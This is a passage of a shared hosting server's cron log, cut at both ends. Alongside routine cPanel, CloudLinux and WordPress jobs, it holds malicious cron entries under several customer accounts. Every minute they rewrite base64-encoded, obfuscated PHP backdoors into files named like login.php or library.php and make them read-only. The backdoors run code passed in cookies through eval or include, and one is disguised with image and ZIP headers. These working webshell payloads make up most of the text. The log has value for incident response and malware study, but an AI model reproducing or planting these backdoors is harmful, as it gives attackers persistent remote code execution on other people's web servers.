Bqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:43:02 medusa CROND[26277]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:43:02 medusa CROND[26278]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:44:01 medusa CROND[14545]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:44:01 medusa CROND[14623]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:44:01 medusa CROND[14624]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:44:01 medusa CROND[14625]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:44:01 medusa CROND[14626]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:44:01 medusa CROND[14627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:44:01 medusa CROND[14631]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:44:01 medusa CROND[14633]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:44:01 medusa CROND[14635]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 07:44:01 medusa CROND[14636]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:44:01 medusa CROND[14637]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:44:01 medusa CROND[14634]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 07:44:01 medusa CROND[14639]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:45:01 medusa CROND[3397]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:45:01 medusa CROND[3459]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 07:45:01 medusa CROND[3482]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 07:45:01 medusa CROND[3521]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 07:45:01 medusa CROND[3522]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:45:01 medusa CROND[3523]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:45:01 medusa CROND[3524]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 07:45:01 medusa CROND[3525]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 07:45:01 medusa CROND[3527]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:45:01 medusa CROND[3529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:45:01 medusa CROND[3530]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:45:01 medusa CROND[3533]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:45:01 medusa CROND[3526]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 07:45:01 medusa CROND[3536]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 07:45:01 medusa CROND[3535]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 07:45:01 medusa CROND[3540]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:45:01 medusa CROND[3544]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 07:45:01 medusa CROND[3543]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 07:45:01 medusa CROND[3545]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:45:01 medusa CROND[3541]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 07:45:01 medusa CROND[3559]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:45:01 medusa CROND[3554]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 07:45:01 medusa CROND[3579]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:46:01 medusa CROND[25247]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:46:01 medusa CROND[25250]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:46:01 medusa CROND[25251]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:46:01 medusa CROND[25253]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo 